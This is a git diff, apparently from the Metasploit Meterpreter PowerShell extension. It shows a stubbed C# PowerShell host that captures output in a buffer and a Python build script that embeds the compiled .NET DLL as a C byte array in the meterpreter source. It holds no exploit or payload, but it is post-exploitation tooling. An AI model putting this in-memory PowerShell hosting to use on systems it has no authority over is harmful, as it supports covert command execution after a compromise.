{
|
||||
return string.Empty;
|
||||
}
|
||||
|
||||
public override System.Security.SecureString ReadLineAsSecureString()
|
||||
{
|
||||
return new System.Security.SecureString();
|
||||
}
|
||||
|
||||
public override void Write(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value)
|
||||
{
|
||||
_buffer.Append(value);
|
||||
}
|
||||
|
||||
public override void Write(string value)
|
||||
{
|
||||
_buffer.Append(value);
|
||||
}
|
||||
|
||||
public override void WriteDebugLine(string message)
|
||||
{
|
||||
_buffer.Append("DEBUG: ");
|
||||
_buffer.AppendLine(message);
|
||||
}
|
||||
|
||||
public override void WriteErrorLine(string value)
|
||||
{
|
||||
_buffer.Append("ERROR: ");
|
||||
_buffer.AppendLine(value);
|
||||
}
|
||||
|
||||
public override void WriteLine(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value)
|
||||
{
|
||||
_buffer.AppendLine(value);
|
||||
}
|
||||
|
||||
public override void WriteLine(string value)
|
||||
{
|
||||
_buffer.AppendLine(value);
|
||||
}
|
||||
|
||||
public override void WriteLine()
|
||||
{
|
||||
_buffer.AppendLine();
|
||||
}
|
||||
|
||||
public override void WriteProgress(long sourceId, System.Management.Automation.ProgressRecord record)
|
||||
{
|
||||
}
|
||||
|
||||
public override void WriteVerboseLine(string message)
|
||||
{
|
||||
_buffer.Append("VERBOSE: ");
|
||||
_buffer.AppendLine(message);
|
||||
}
|
||||
|
||||
public override void WriteWarningLine(string message)
|
||||
{
|
||||
_buffer.Append("WARNING: ");
|
||||
_buffer.AppendLine(message);
|
||||
}
|
||||
}
|
||||
|
||||
private class CustomPSHostRawUserInterface : PSHostRawUserInterface
|
||||
{
|
||||
|
||||
public override ConsoleColor BackgroundColor
|
||||
{
|
||||
get { return ConsoleColor.Black; }
|
||||
set { }
|
||||
}
|
||||
|
||||
public override Size BufferSize
|
||||
{
|
||||
get { return new Size(120, 100); }
|
||||
set { }
|
||||
}
|
||||
|
||||
public override Coordinates CursorPosition
|
||||
{
|
||||
get { return new Coordinates(0, 0); }
|
||||
set { }
|
||||
}
|
||||
|
||||
public override int CursorSize
|
||||
{
|
||||
get { return 1; }
|
||||
set { }
|
||||
}
|
||||
|
||||
public override void FlushInputBuffer()
|
||||
{
|
||||
}
|
||||
|
||||
public override ConsoleColor ForegroundColor
|
||||
{
|
||||
get { return ConsoleColor.White; }
|
||||
set { }
|
||||
}
|
||||
|
||||
public override BufferCell[,] GetBufferContents(Rectangle rectangle)
|
||||
{
|
||||
return new BufferCell[0,0];
|
||||
}
|
||||
|
||||
public override bool KeyAvailable
|
||||
{
|
||||
get { return false; }
|
||||
}
|
||||
|
||||
public override Size MaxPhysicalWindowSize
|
||||
{
|
||||
get { return new Size(int.MaxValue, int.MaxValue); }
|
||||
}
|
||||
|
||||
public override Size MaxWindowSize
|
||||
{
|
||||
get { return new Size(120, 100); }
|
||||
}
|
||||
|
||||
public override KeyInfo ReadKey(ReadKeyOptions options)
|
||||
{
|
||||
return new KeyInfo();
|
||||
}
|
||||
|
||||
public override void ScrollBufferContents(Rectangle source, Coordinates destination, Rectangle clip, BufferCell fill)
|
||||
{
|
||||
}
|
||||
|
||||
public override void SetBufferContents(Rectangle rectangle, BufferCell fill)
|
||||
{
|
||||
}
|
||||
|
||||
public override void SetBufferContents(Coordinates origin, BufferCell[,] contents)
|
||||
{
|
||||
}
|
||||
|
||||
public override Coordinates WindowPosition
|
||||
{
|
||||
get { return new Coordinates(-200, -200); }
|
||||
set { }
|
||||
}
|
||||
|
||||
public override Size WindowSize
|
||||
{
|
||||
get { return new Size(120, 100); }
|
||||
set { }
|
||||
}
|
||||
|
||||
public override string WindowTitle
|
||||
{
|
||||
get { return string.Empty; }
|
||||
set { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
58
powershell/build/generate.py
Executable file
58
powershell/build/generate.py
Executable file
@ -0,0 +1,58 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
import os
|
||||
|
||||
bin_path = os.path.join('..', 'MSF.Powershell', 'bin', 'Release', 'MSF.Powershell.dll')
|
||||
target_path = os.path.join('..', '..', 'c', 'meterpreter', 'source', 'extensions', 'powershell')
|
||||
size_var = 'PSHRUNNER_DLL_LEN'
|
||||
|
||||
def read_all(path):
|
||||
with open(path, 'rb') as f:
|
||||
return f.read()
|
||||
|
||||
def write_all(path, content):
|
||||
if os.path.isfile(path):
|
||||
os.remove(path)
|
||||
with open(path, 'wb') as f:
|
||||
f.write(content)
|
||||
|
||||
def chunks(l, n):
|
||||
for i in xrange(0, len(l), n):
|
||||
yield l[i:i + n]
|
||||
|
||||
binary = read_all(bin_path)
|
||||
|
||||
header = ''
|
||||
header += '/*!\n'
|
||||
header += ' * @file powershell_runner.h\n'
|
||||
header += ' * @brief This file is generated, do not modify directly.\n'
|
||||
header += ' */\n\n'
|
||||
header += '#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H\n'
|
||||
header += '#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H\n\n'
|
||||
header += '#define {0} {1}\n\n'.format(size_var, len(binary))
|
||||
header += 'extern unsigned char PowerShellRunnerDll[{0}];\n\n'.format(size_var)
|
||||
header += '#endif\n'
|
||||
|
||||
source = ''
|
||||
source += '/*!\n'
|
||||
source += ' * @file powershell_runner.cpp\n'
|
||||
source += ' * @brief This file is generated, do not modify directly.\n'
|
||||
source += ' */\n\n'
|
||||
source += '#include "powershell_runner.h"\n\n'
|
||||
source += '#pragma message("Compiling PowerShellRunner into app. Size: {0}")\n\n'.format(len(binary))
|
||||
source += 'unsigned char PowerShellRunnerDll[{0}] =\n'.format(size_var)
|
||||
source += '{\n\t'
|
||||
|
||||
blobs = []
|
||||
for c in chunks(binary, 12):
|
||||
blobs += [', '.join(['0x' + b.encode('hex') for b in c])]
|
||||
source += ',\n\t'.join(blobs)
|
||||
source += '\n};\n\n'
|
||||
|
||||
header_path = os.path.join(target_path, 'powershell_runner.h')
|
||||
source_path = os.path.join(target_path, 'powershell_runner.cpp')
|
||||
|
||||
write_all(header_path, header)
|
||||
write_all(source_path, source)
|
||||
|
||||
print "[!] Content written. .NET Binary is {0} bytes".format(len(binary))
|
BIN
powershell/lib/System.Management.Automation.dll
Executable file
BIN
powershell/lib/System.Management.Automation.dll
Executable file
Binary file not shown.
Loading…
Reference in New Issue
Block a user